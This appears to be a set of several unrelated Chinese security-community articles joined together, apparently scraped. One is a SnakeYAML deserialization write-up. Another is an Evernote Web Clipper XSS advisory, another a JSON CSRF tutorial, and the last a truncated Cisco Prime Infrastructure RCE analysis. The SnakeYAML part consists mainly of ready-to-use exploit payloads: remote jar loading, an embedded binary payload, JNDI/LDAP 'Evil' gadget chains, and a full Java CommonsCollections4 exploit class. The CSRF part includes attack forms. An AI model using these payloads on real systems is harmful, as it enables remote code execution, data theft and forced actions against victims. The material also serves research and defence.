p.destroy();
s.close();
##### POC
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/a.jar"]]]]
成功执行Payload
##### Payload分析
将`payload.jar`放入`lib`下，之后在`javax.script.ScriptEngineManager`下的构造方法处打下断点
可以发现loader是我们payload中的`URLClassLoader`
// 实例化ScriptEngineManager的调用链
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
construct:572, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:346, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)
之后跟进`ScriptEngineManager`
在构造方法中调用了`init`方法，在init方法中都是一些变量的初始化，跟进`initEngines`方法
这里的`ServiceLoader`就是使用的`SPI`机制，这里的泛型是`javax.script.ScriptEngineFactory`,
也能够说明为什么我们的payload.jar中的`services/javax.script.ScriptEngineFactory`
之后`ServiceLoader`需要寻找的服务是`javax.script.ScriptEngineFactory`，通过`URLClassLoader`寻找服务，对应的URL为payload中的地址
之后会调用`ServiceLoader#iterator`方法进而调用`next`，之后调用了`ServiceLoader$LazyIterator#next`方法，进而调用了`nextService`方法
通过反射加载了`NashornScriptEngineFactory`类，之后通过`newInstance`实例化
在之后的迭代过程中也会加载payload中的类并实例化
#### 不出网利用
* WrapperConnectionPoolDataSource
* MarshalOutputStream写文件 + ScriptEngineManager file协议加载本地jar
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]
!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.txt"]]]]
#### C3P0链
##### JndiRefForwardingDataSource
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: "ldap://127.0.0.1:8888/EvilObject", loginTimeout: "0"}
分析：
这里主要是使用的`C3P0`链中的`JndiRefForwardingDataSource`类
其中的`setLoginTimeout`调用了`inner`方法，然而在`inner`方法中也调用了`dereference`方法
在该方法中存在jndi注入(如果jndi可控)
而在他的父类中存在对应的`setter`方法，形成了利用链
##### WrapperConnectionPoolDataSource
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.yaml.snakeyaml.Yaml;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Snakeyaml_CC4 {
public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static PriorityQueue CommonsCollections4() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = pool.makeClass("c3p0Exploit");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(shell);
byte[] shellCode = ctClass.toBytecode();
byte[][] targetCode = new byte[][]{shellCode};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxx");
setFieldValue(templatesImpl, "_bytecodes", targetCode);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, transformingComparator);
return priorityQueue;
}
public static byte[] toByteArray(InputStream in) throws Exception {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
public static void main(String[] args) throws Exception {
PriorityQueue queue = CommonsCollections4();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(queue);
outputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
//byte[] bytes = toByteArray(inputStream);
String hexString = bytesToHexString(bytes, bytes.length);
//String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap: " + hexString + "\"}";
System.out.println(poc);
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
这是一条不出网的二次反序列化 `SnakeYaml + CC4链`
分析：
c3p0在监听`userOverridesAsString`属性值的时候会调用`C3P0ImplUtils.parseUserOverridesAsString`处理新的属性值，截取了`HexAsciiSerializedMap`后的第二个字符到倒数第二个字符的hex串，之后通过调用`fromHexAscii`方法将hex转化为序列化字节，再通过调用了`SerializableUtils.fromByteArray`方法处理序列化字节，调用了`deserializeFromByteArray`进行反序列化，如果这里是一个恶意的字节码，就会进行恶意触发漏洞
通过在他的父类中同样有对应的`setter`方法，就可以结合其他反序列化链子进行利用链的构造
#### fastjson链
##### com.sun.rowset.JdbcRowSetImpl
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "ldap://127.0.0.1:8888/EvilObject", autoCommit: "true"}
这个链子主要是通过`setAutoCommit`方法中调用`connect`方法进而导致`lookup`的参数可控形成了jndi注入
##### oracle.jdbc.rowset.OracleJDBCRowSet
!!oracle.jdbc.rowset.OracleJDBCRowSet {dataSourceName: "ldap://localhost:9999/Evil", command: "a"}
这个链子主要是通过`OracleJDBCRowSet`类中的`setCommand`方法中存在调用`getConnection`方法，且lookup的参数可控形成利用链
##### org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
!!org.apache.ibatis.datasource.jndi.JndiDataSourceFactory {properties: {data_source: "ldap://127.0.0.1:9999/Evil"}}
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
set:48, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:311, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:190, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:346, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)
主要是通过`JndiDataSourceFactory`的`setProperties`方法的`lookup`可控
##### org.springframework.beans.factory.config.PropertyPathFactoryBean
!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "ldap://127.0.0.1:9999/Evil", propertyPath: "xxx", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["ldap://127.0.0.1:1099/Exploit"]}}
这个payload主要是通过在`PropertyPathFactoryBean`类中将会触发`setBeanFacotry`调用`beanFactory.setBean`在其中存在一个可控的`lookup`方法，但是其中有一个判断`if
(isSingleton(name))`, 我们需要设置`shareableResources`绕过
##### javax.management.BadAttributeValueExpException
需要依赖
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.5</version>
</dependency>
!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference ["foo", "Evil", "http://127.0.0.1/"],!!org.apache.xbean.naming.context.WritableContext []]]
这个利用链，在`BadAttributeValueExpException`类的构造方法中
如果传入的参数是`org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding`类对象，将会调用他的`toString`方法，虽然这个静态类没有`toString`方法，但是他的父类为`Binding`存在，在其中调用了`ReadOnlyBinding#getObject`方法，进而调用了`ReadOnlyBinding#resolve`,
在其中存在`NamingManager.getObjectInstance`，这个就是jndi利用链的一部分
跟进，在`NamingManager#getObjectInstance`调用了`getObjectFactoryFromReference`方法，跟进
首先使用当前的`ClassLoader`加载类，如果没有加载到，就通过获取`codebase`得到ClassLocation，之后通过loadClass获取恶意类，值得注意的是，在`loadClass`方法中将会判断是否开启`trustURLCodebase`，当然尽管他为`flase`，我们也可以通过寻找`ObjectFactory`绕过限制，后面的过程就很明白了
当然还有各种各样的和fastjson链结合的payload
##### org.apache.commons.configuration.ConfigurationMap
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>
!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]: 1
调用栈
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:528, AbstractMap (java.util)
constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)
在`constructMapping2ndStep`调用`AbstractMap#hashCode`方法，之后调用了`JNDIConfiguration#getKeys`在`getBaseContext`存在可控的`lookup`
## Reference
<https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90>
<https://www.cnblogs.com/CoLo/p/16225141.html> | 社区文章 |
Guardio研究人员发现了Evernote Web
Clipper（印象笔记·剪藏）Chrome扩展存在逻辑编码错误漏洞，攻击者利用这些漏洞可以打破隔离机制并以用户的名义执行代码，并对非Evernote域名授予用户敏感信息的访问权限。财务信息、社交媒体、个人邮件等都是攻击的目标。该XSS漏洞CVE编号为`CVE-2019-12592`。
# 背景
大多数互联网用户并不下载可执行文件或安装专门的软件。除了社交账号、商城和金融数据外，浏览器内直接也能提供一些扩展类的工具，来完成类似的功能。但这对app作者带来了挑战。一些工具需要额外的访问权限来更好地执行任务，比较好的解决方案就是创建一个浏览器扩展。App作者的意图是提供更好的用户体验，扩展一般拥有访问一些敏感资源的权限，也比传统的网站安全风险要更高一些。
研究人员分析发现了Evernote Web
Clipper（印象笔记·剪藏）chrome扩展的漏洞。因为Evernote用户基数庞大，因此该漏洞影响的用户数预计超过470万。
与其他扩展漏洞不同的是，该漏洞直接影响第三方服务，而且并不仅限于个人的Evernote账号。
# PoC
为了模拟攻击者如何利用该漏洞，Guardio研究人员设计了一个PoC来从潜在受害者处窃取隐私数据。通过将这些步骤串起来，很容易就可以进行攻击。
PoC步骤：
* 用户被导航到攻击者的恶意站点（通过社交媒体、邮件、被黑的博客评论等）；
* 恶意站点加载目标站点中隐藏的、合法的iframe tag；
* 漏洞利用是由恶意网站触发的，会导致Evernote的内部基础设施注入攻击者控制的payload到iframe环境。
* 注入的payload是为每个目标网站定制的，可以窃取cookie、凭证、隐私隐私，还可以像用户一样执行动作。
# 漏洞细节
为了详细了解漏洞的情况，首先需要了解Evernote Web Clipper如何与网站和frame进行交互。
Evernote的代码注入链是从扩展的manifest (manifest.json)开始的，其中BrowserFrameLoader.js
content脚本会被注入到所有页面和frame中。由于注入到frame的敏感性，只有这一个脚本使用了all_frames来减少攻击面。内容脚本的主要的主要目的是作为扩展的C2服务器来加载其他必需的代码到页面中。
对通信信道来说，脚本使用通过`postMessage API`的Windows消息机制(Windows
Messaging)。作为一个小的注入器脚本，它只对少量的消息类型提供handler，其中一个就是installAndSerializeAll命令来注入到第二阶段`FrameSerializer.js`和执行序列化。该机制使用了一种弱认证方案，这种弱认证方案并不存在漏洞，但这是漏洞利用链的重要一步，因为运行在web沙箱环境中的脚本会触发命令。消息处理器（message
handler）的参数作为命令请求消息的payload域。
最后，因为提供有效URL给扩展域名（`chrome-extension://...`）的`_getBundleUrl`函数中的逻辑检查和输入检查不当，研究人员发现URL的第一部分可以被handler的`resourcePath`输入参数进行操作。
黑客利用漏洞利用可以加载黑客远程控制的脚本到其他网站环境，只需要一个交单的`window.postMessage`命令即可。通过滥用Evernote的注入基础设施，恶意脚本会绕过同源策略的限制，注入到页面的所有目标frame中。
这提供了一个通用XSS注入到黑客控制的网站的所有frame的方法。
# 修复和建议
Evernote已经发布了补丁和新版本。用户可以复制`chrome://extensions/?id=pioclpoplcdbaefihamjohnefbikjilc`到Chrome扩展页来检查是否是最新版本，并确保版本号大于7.1.1。
<https://guard.io/blog/evernote-universal-xss-vulnerability> | 社区文章 |
## 由JSON CSRF到FormData攻击
原文链接：<https://medium.com/@osamaavvan/json-csrf-to-formdata-attack-eb65272376a2>
首先：你们必须知道CSRF攻击，如果不知道，那么这里是一个简短的介绍：
CSRF是一种攻击，它迫使最终用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。CSRF攻击专门针对状态变化请求，CSRF攻击可以强制用户执行状态转换请求，如转移资金，更改其电子邮件地址，甚至危及整个Web应用程序。
来源：[https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF))
那么在JSON CSRF中有什么独特之处，在JSON CSRF中，发送到服务器的数据是JSON格式，而Content-Type是 **Content-Type：application/json** ，
现在的问题是我们无法发送 **Content-Type：application/json** ，使用常规HTML表单，只能通过XML
HTTP请求或简单地通过AJAX请求到服务器，
但由于CORS策略我们不能这样做，除非服务器允许超过自定义的Origin和在响应中为 **Access-Control-Allow-Credentials：true**
所有这一切只有在没有Anti-CSRF保护令牌或其他CSRF保护机制的情况下才有可能发生。
现在，如果我们将 **Content-Type** 从 **application/json** 更改为 **text/plain**
的时候响应中没有错误并且表单提交成功，我们可以通过创建具有属性 **enctype=”text/plain”** 的HTML表单来执行CSRF攻击。
现在让我们来看看现实生活中的案例：
以下是发送到服务器以更改用户个人信息的JSON请求
现在，我们可以尝试如果改变Content-Type中的 **application/json** 为 **text/plain**
，是不是还可以工作，如果工作并且可以收到相同的结果 **application/json** ，说明没有错误，则会得到下面的JSON信息：
<form action=”https://redact.com/api/rest/model/atg/userprofiling/ProfileActor/updateMyData" method=”post” enctype=”text/plain”>
<input type=”text” name=’{“id”:”1025275966",”firstName”:”Foo”,”lastName”:”Bar”,”email”:”[email protected]”,”gender”:”Hombre”,”mobileNumber”:”+52",”countryCode”:”+52",”passwordCheckBox”:”false”,”favoritesListId”:”gl1025526845",”receivePromoEmail”:”No”,”fullName”:”Foo Bar“,”mySaveLaterGiftListId”:”gl1034897755", “balance”:”’ value=’true”}’>
<input type=”submit” value=”send”>
</form>
我在JSON数据的末尾附加了 **“balance”:”’ value=’true”}’** 用来平衡请求中发送的 **additional =**
现在，如果 **text/plain** 方法不起作用，那么我们还有另一个选项，只需发送带有Content-Type的表单数据 **Content-Type: application/x-www-form-urlencoded**
。这是最常见，最简单的表单提交类型。现在创建一个包含JSON数据中所有字段的HTML表单。
<form action=”https://redact.com/api/rest/model/atg/userprofiling/ProfileActor/updateMyData" method=”post”>
<input hidden=”true” type=”text” name=”firstName” value=”Foo”>
<input hidden=”true” type=”text” name=”lastName” value=”Bar”>
<input hidden=”true” type=”text” name=”email” value=”[email protected]”>
<input type=”text” hidden=”true” name=”gender” value=”Mujer”>
<input type=”text” name=”mobileNumber” hidden=”true” value=”+521452453698">
<input type=”text” name=”countryCode” hidden=”true” value=”+52">
<input type=”submit” value=”send”>
提交表单以测试它是否正常工作。 | 社区文章 |
由python编写的轻量级中间件漏洞检测框架，实现针对中间件的自动化检测，端口探测->中间件识别->漏洞检测->获取webshell
参数说明：
-h 必须输入的参数，支持ip(192.168.1.1)，ip段（192.168.1），ip范围指定（192.168.1.1-192.168.1.254）,ip列表文件（ip.ini），最多限制一次可扫描65535个IP。
-p 指定要扫描端口列表，多个端口使用,隔开 例如：7001,8080,9999。未指定即使用内置默认端口进行扫描(80,4848,7001,7002,8000,8001,8080,8081,8888,9999,9043,9080)
-m 指定线程数量 默认100线程
-t 指定HTTP请求超时时间，默认为10秒，端口扫描超时为值的1/2。
默认漏洞结果保存在 result.log中
例子：
python F-MiddlewareScan.py -h 10.111.1
python F-MiddlewareScan.py -h 192.168.1.1
python F-MiddlewareScan.py -h 10.111.1.1-10.111.2.254 -p 80,7001,8080 -m 200
-t 6
效果图：
漏洞检测脚本以插件形式存在，内置了19个漏洞插件，可以自定义添加修改漏洞插件，存放于plugins目录，插件标准非常简单，只需对传入的IP，端口，超时进行操作，成功返回“YES|要打印出来的信息”即可。
新增插件需要在 plugin_config.ini配置文件中新增关联（多个漏洞插件以逗号隔开）。
中间件识别在discern_config.ini文件中配置（支持文件内容和header识别）
开源项目地址：<https://github.com/ywolf/F-MiddlewareScan>
[i]此工具仅可用于授权的渗透与自身的检测中，请勿用于非法入侵。[/i] | 社区文章 |
# Cisco Prime Infrastructure未授权远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 srcincite，文章来源：srcincite.io
原文地址：<https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
并非所有的目录遍历漏洞都能造成相同的影响，具体影响范围取决于目录遍历的用途，以及利用过程中需要用户交互的程度。这类简单的漏洞在实际代码中可能隐藏很深，因此可能会造成灾难性后果。
Cisco在Prime
Infrastructure（PI）中修复了一个目录遍历漏洞（[CVE-2019-1821](https://srcincite.io/advisories/src-2019-0034)），然而我并不清楚补丁细节，并且我也没法进行测试（我没有Cisco许可证），因此我决定在这里与大家共享相关细节，希望有人能帮我验证代码的鲁棒性。
在本文中，我分析了[CVE-2019-1821](https://srcincite.io/advisories/src-2019-0034)的发现过程及利用方法，这是一个未授权服务端远程代码执行（RCE）漏洞，也刚好是我们在[全栈Web攻击](https://srcincite.io/training/)训练课程中即将涉及的内容。
## 0x01 相关背景
Cisco[网站](https://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html)上对Prime Infrastructure（PI）的描述如下：
> Cisco Prime
> Infrastructure正是您所需的解决方案，可以用于任务的简化及自动化管理，同时能够充分利用Cisco网络的智能优势。这款解决方案功能强大，可以帮您……整合产品、管理网络以实现移动协作、简化WAN管理等。
实话实说，我还是理不清适用场景，因此我决定去翻一下[维基百科](https://en.wikipedia.org/wiki/Cisco_Prime)：
> Cisco Prime是一个网络管理软件集，由Cisco Systems的各种软件应用所组成。大多数应用面向的是企业或者服务提供商网络。
感谢维基百科，这段话看上去更加容易理解，看来我不是第一个对产品功能感到困惑的人。然而不论如何，在安全研究方面这些信息并不是重点。
## 0x02 研究目标
我的漏洞测试环境为 **PI-APL-3.4.0.0.348-1-K9.iso（d513031f481042092d14b77cd03cbe75）**
，补丁为 **PI_3_4_1-1.0.27.ubf (56a2acbcf31ad7c238241f701897fcb1)**
。按官方说法，这个补丁可以修补[Pedro](https://twitter.com/pedrib1337)发现的那个漏洞（[CVE-2018-15379](https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L27)）。然而一会儿我们就可以看到，单个CVE编号对应的是两个不同的漏洞，其中只有一个漏洞被成功修补。
piconsole/admin# show version
Cisco Prime Infrastructure
********************************************************
Version : 3.4.0
Build : 3.4.0.0.348
Critical Fixes:
PI 3.4.1 Maintenance Release ( 1.0.0 )
默认安装完毕后，我需要设置High
Availability（HA，高可用性）才能访问目标代码。根据[文档](https://www.cisco.com/c/en/us/td/docs/net_mgmt/prime/infrastructure/3-4/admin/guide/bk_CiscoPrimeInfastructure_3_4_AdminGuide/bk_CiscoPrimeInfastructure_3_4_AdminGuide_chapter_01010.html)描述，这是安装Cisco
PI时的标准做法。虽然过程看起来非常复杂，但实际上就是部署两个不同的PI，然后配置其中一个为主（primary）HA服务器，另一个为辅（secondary）HA服务器。
图1. High Availability示意图
耗费了许多内存及硬盘空间后，最终搭建效果如下所示：
此外，在直接向Cisco反馈之前，我的一个小伙伴确认了在3.5版本上这个bug依然存在。
## 0x03 漏洞分析
在`/opt/CSCOlumos/healthmonitor/webapps/ROOT/WEB-INF/web.xml`文件中，我们找到如下内容：
<!-- Fileupload Servlet -->
<servlet>
<servlet-name>UploadServlet</servlet-name>
<display-name>UploadServlet</display-name>
<servlet-class>
com.cisco.common.ha.fileutil.UploadServlet
</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/servlet/UploadServlet</url-pattern>
</servlet-mapping>
这个servlet是Health Monitor应用的一部分，需要配置并连接HA服务器（参考前文“研究目标”相关内容）。
在`/opt/CSCOlumos/lib/pf/rfm-3.4.0.403.24.jar`文件中，我们可以找到`UploadServlet`类对应的代码：
public class UploadServlet
extends HttpServlet
{
private static final String FILE_PREFIX = "upload_";
private static final int ONE_K = 1024;
private static final int HTTP_STATUS_500 = 500;
private static final int HTTP_STATUS_200 = 200;
private boolean debugTar = false;
public void init() {}
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException
{
String fileName = null;
long fileSize = 0L;
boolean result = false;
response.setContentType("text/html");
String destDir = request.getHeader("Destination-Dir"); // 1
String archiveOrigin = request.getHeader("Primary-IP"); // 2
String fileCount = request.getHeader("Filecount"); // 3
fileName = request.getHeader("Filename"); // 4
String sz = request.getHeader("Filesize"); // 5
if (sz != null) {
fileSize = Long.parseLong(sz);
}
String compressed = request.getHeader("Compressed-Archive"); // 6
boolean archiveIsCompressed;
boolean archiveIsCompressed;
if (compressed.equals("true")) {
archiveIsCompressed = true;
} else {
archiveIsCompressed = false;
}
